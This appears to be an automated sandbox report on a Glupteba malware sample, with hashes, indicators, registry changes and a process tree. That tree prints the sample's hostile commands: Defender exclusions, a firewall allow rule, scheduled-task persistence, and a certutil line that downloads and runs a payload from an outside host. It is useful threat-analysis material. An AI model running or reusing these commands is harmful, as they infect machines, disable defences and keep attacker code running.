Analysis
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max time kernel
101s -
max time network
106s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 22:56
Static task
static1
Behavioral task
behavioral1
Sample
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
Resource
win7-20220414-en
General
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Target
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
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Size
3.8MB
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MD5
84dbc916b21ee7dd49131e4bb996c3b0
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SHA1
cbff0b9a2ca635515722798efb84f53694300afa
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SHA256
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f
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SHA512
d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1228-56-0x0000000003CD0000-0x00000000043C7000-memory.dmp family_glupteba behavioral1/memory/1228-57-0x0000000000400000-0x00000000036C2000-memory.dmp family_glupteba behavioral1/memory/1300-63-0x0000000000400000-0x00000000036C2000-memory.dmp family_glupteba behavioral1/memory/1596-70-0x0000000000400000-0x00000000036C2000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1596 csrss.exe 456 patch.exe 1256 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 12 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exepatch.exepid process 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe 880 456 patch.exe 456 patch.exe 456 patch.exe 456 patch.exe 456 patch.exe 1256 456 patch.exe 456 patch.exe 456 patch.exe -
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\RestlessMorning = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\58b266ea2548.exe = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\58b266ea2548 = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe = "0" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\RestlessMorning = "\"C:\\Windows\\rss\\csrss.exe\"" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 524 bcdedit.exe -
Drops file in Windows directory 3 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe File created C:\Windows\rss\csrss.exe be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe File created C:\Windows\Logs\CBS\CbsPersist_20220521011024.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1216 schtasks.exe 1608 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exebe127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.execsrss.exepid process 1228 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe 1596 csrss.exe 1596 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.execsrss.exedescription pid process Token: SeDebugPrivilege 1228 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Token: SeImpersonatePrivilege 1228 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe Token: SeSystemEnvironmentPrivilege 1596 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.execmd.execsrss.exedescription pid process target process PID 1300 wrote to memory of 1660 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe cmd.exe PID 1300 wrote to memory of 1660 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe cmd.exe PID 1300 wrote to memory of 1660 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe cmd.exe PID 1300 wrote to memory of 1660 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe cmd.exe PID 1660 wrote to memory of 1544 1660 cmd.exe netsh.exe PID 1660 wrote to memory of 1544 1660 cmd.exe netsh.exe PID 1660 wrote to memory of 1544 1660 cmd.exe netsh.exe PID 1300 wrote to memory of 1596 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe csrss.exe PID 1300 wrote to memory of 1596 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe csrss.exe PID 1300 wrote to memory of 1596 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe csrss.exe PID 1300 wrote to memory of 1596 1300 be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe csrss.exe PID 1596 wrote to memory of 524 1596 csrss.exe bcdedit.exe PID 1596 wrote to memory of 524 1596 csrss.exe bcdedit.exe PID 1596 wrote to memory of 524 1596 csrss.exe bcdedit.exe PID 1596 wrote to memory of 524 1596 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
